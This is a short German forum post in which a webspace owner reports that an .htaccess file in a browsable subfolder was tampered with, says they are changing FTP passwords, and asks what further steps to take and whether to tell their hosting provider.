.htaccess hacked

hab gerade gesehen, dass auf meinem webspace in einem unterordner den ich mittels htaccess für file browsing freigeschaltet habe folgendes nun drinnen steht:

Code:

hack ist klar... irgendwie nachvollziehen wäre schön.

ich ändere jetzt mal alle passwörter für ftp usw... was soll/muss ich noch machen und sollte ich in diesem fall auch meinen hoster informieren?
